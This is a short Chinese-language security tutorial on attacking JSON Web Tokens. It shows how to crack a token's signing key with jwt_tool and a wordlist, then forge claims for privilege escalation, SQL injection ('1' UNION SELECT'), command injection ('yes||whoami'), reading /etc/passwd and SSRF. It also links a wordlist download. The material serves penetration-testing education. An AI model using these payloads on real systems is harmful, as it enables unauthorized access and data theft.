JWT的攻击面【文末附工具】

admin 2023年8月3日14:59:18评论36 views字数 1728阅读5分45秒阅读模式
🔰0x01 JWT简介

   ⛅Token,是基于Json的一个公开规范,这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息,他的两大使用场景是:认证和数据交换,由服务端根据规范生成一个令牌(token),并且发放给客户端。此时客户端请求服务端的时候就可以携带者令牌,以令牌来证明自己的身份信息。

🔰0x02 前言

⛅现在的项目越来越多采用前后端分离来做,使用JWT来校验身份也越来越多,特别在跨域身份验证这块。本文会带大家了解到,JWT的攻击面。

🔰0x02 了解JWT

⛅在项目中,发现了一个JWT,我们尝试进https://jwt.io/进行查看JWT的值。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IjB4U2hlIiwic3lzYWRtaW4iOiJOIiwiaWF0IjoxNjkwOTg5ODMzfQ.APJSPp54jXCBAmN1sg5H4Bxvl8irb-n-Lq9SDRQT5Qs

JWT的攻击面【文末附工具】

⛅可以很清晰看到JWT的内容

{
  "sub": "1234567890",
  "name": "0xShe",
  "sysadmin": "N",
  "iat": 1690989833
}

🔰0x02 爆破Key

⛅在项目中,对JWT进行攻击,不知道key的情况下,可以尝试爆破key。使用jwt_tool进行爆破(文章末尾提供27G超强字典)

接下来我们实战一下,对上面的JWT进行爆破,命令如下:

jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IjB4U2hlIiwic3lzYWRtaW4iOiJOIiwiaWF0IjoxNjkwOTg5ODMzfQ.APJSPp54jXCBAmN1sg5H4Bxvl8irb-n-Lq9SDRQT5Qs -C -d pass.txt

JWT的攻击面【文末附工具】

⛅成功爆破出key为:0xShe123456

🔰0x03 JWT攻击面

⛅得到key以后,我们要对JWT进行攻击,在不同的项目中的攻击面也不同,接下来我们模拟一些常见的攻击场景。

✅水平越权

把1234567890改为1234567891

{
  "sub": "1234567890",
  "name": "0xShe",
  "sysadmin": "N",
  "iat": 1690989833
}

✅垂直越权

把sysadmin的值N改为Y(NO改为YES或者false改为true)

{
  "sub": "1234567890",
  "name": "0xShe",
  "sysadmin": "Y",
  "iat": 1690989833
}

✅SQL注入

{
  "sub": "1234567890",
  "name": "0xShe",
  "data": "1' UNION SELECT 'key';-- ",
  "iat": 1690989833
}

✅命令执行

{
  "sub": "1234567890",
  "name": "0xShe",
  "echo": "yes||whoami",
  "iat": 1690989833
}

✅文件读取

{
  "sub": "1234567890",
  "name": "0xShe",
  "path": "/etc/passwd",
  "iat": 1690989833
}

🔰0x04 JWT不一样的攻击面

⛅JWT不仅仅用来做身份校验,还遇到过用来加密传参的,其实攻击手法大同小异,像一些XSS SSRF也可以进行测试。

✅SSRF

{
  "url": "http://sbbbb.cn/",
  "iat": 1690989833
}

🔰0x05 工具和字典获取

字典链接:https://pan.baidu.com/s/1P0OkmPxFGM0VACViqHyoNw?pwd=6666 提取码:6666

工具链接:https://github.com/ticarpi/jwt_tool

 

原文始发于微信公众号(Poker安全):JWT的攻击面【文末附工具】

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月3日14:59:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JWT的攻击面【文末附工具】https://cn-sec.com/archives/1931747.html

发表评论

匿名网友 填写信息